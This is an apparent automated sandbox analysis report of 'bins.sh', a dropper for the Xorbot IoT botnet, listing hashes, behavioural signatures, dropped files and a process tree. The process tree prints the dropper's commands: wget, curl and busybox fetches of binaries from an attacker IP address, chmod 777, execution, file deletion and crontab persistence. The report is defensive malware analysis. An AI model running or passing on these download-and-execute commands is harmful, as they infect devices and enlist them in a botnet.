Analysis

  • max time kernel
    124s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02-12-2024 00:08

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3185a06c9e65901556ba39c015fcb435

  • SHA1

    125fb6885ad57ad672d32176a30567375ad03770

  • SHA256

    aa653014d79dbe554affa5c6a3f3431aeb567bb2e834968539bd1a195a2b1c60

  • SHA512

    0c420af2a9aafa1d0b63b00fea070ec9e9d29ffa14fca78e8b5c5bf1ac6489562fc2f2326b1aefa934b0ba382114ab7f0adb81675aaec91f1c923c38c92d6e39

  • SSDEEP

    192:ojPta6AP3hIMGIQ+QeQsQFQxQpZLbHMwjPta6YP3hIM5Q+QeQsQFQxQ5c:DP3hIMGIZlVEMkZLbHMJP3hIM5ZlVEMf

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1515) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:653
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:661
        • /usr/bin/wget
          wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Writes file to tmp directory
          PID:662
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:684
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Writes file to tmp directory
          PID:763
        • /bin/chmod
          chmod 777 EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • File and Directory Permissions Modification
          PID:764
        • /tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          ./EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Executes dropped EXE
          PID:765
        • /bin/rm
          rm EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
            PID:767
          • /usr/bin/wget
            wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Writes file to tmp directory
            PID:768
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:769
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Writes file to tmp directory
            PID:770
          • /bin/chmod
            chmod 777 mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • File and Directory Permissions Modification
            PID:771
          • /tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            ./mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Executes dropped EXE
            PID:772
          • /bin/rm
            rm mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
              PID:774
            • /usr/bin/wget
              wget http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Writes file to tmp directory
              PID:775
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:776
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Writes file to tmp directory
              PID:777
            • /bin/chmod
              chmod 777 utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • File and Directory Permissions Modification
              PID:778
            • /tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              ./utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Executes dropped EXE
              PID:779
            • /bin/rm
              rm utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
                PID:781
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Writes file to tmp directory
                PID:782
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:788
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Writes file to tmp directory
                PID:789
              • /bin/chmod
                chmod 777 Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • File and Directory Permissions Modification
                PID:790
              • /tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                ./Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Executes dropped EXE
                PID:791
              • /bin/rm
                rm Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                  PID:794
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Writes file to tmp directory
                  PID:795
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:796
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Writes file to tmp directory
                  PID:797
                • /bin/chmod
                  chmod 777 Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • File and Directory Permissions Modification
                  PID:798
                • /tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  ./Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:799
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:801
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:802
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:805
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:806
                      • /bin/rm
                        rm Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                        2⤵
                          PID:808
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                          2⤵
                            PID:811
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                            2⤵
                            • Reads runtime system information
                            PID:812
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                            2⤵
                            • Writes file to tmp directory
                            PID:813
                          • /bin/chmod
                            chmod 777 sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                            2⤵
                            • File and Directory Permissions Modification
                            PID:873
                          • /tmp/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                            ./sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                            2⤵
                            • Executes dropped EXE
                            PID:895
                          • /bin/rm
                            rm sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                            2⤵
                              PID:896
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                              2⤵
                                PID:897

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                            • /tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic

                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            • /tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /var/spool/cron/crontabs/tmp.TYsPvY

                              Filesize

                              210B

                              MD5

                              5377673e61591b04b2f1590f2f5a2ff3

                              SHA1

                              a5f99f9d0989fbd2fd2347bd326fabb7a7ae14cb

                              SHA256

                              04d104efc72b85acafee383bc9e0b306c881650746dd37d58c9745e9a3ac43b3

                              SHA512

                              3213b1c4ac93497e0c03535ea28b7b9b5b80935ee7f9393f1f8dc25e5f7cb68692b58a9b49f9aa389bd1b0e9907b1d7099b3df11f75d381252b2e322afb0f088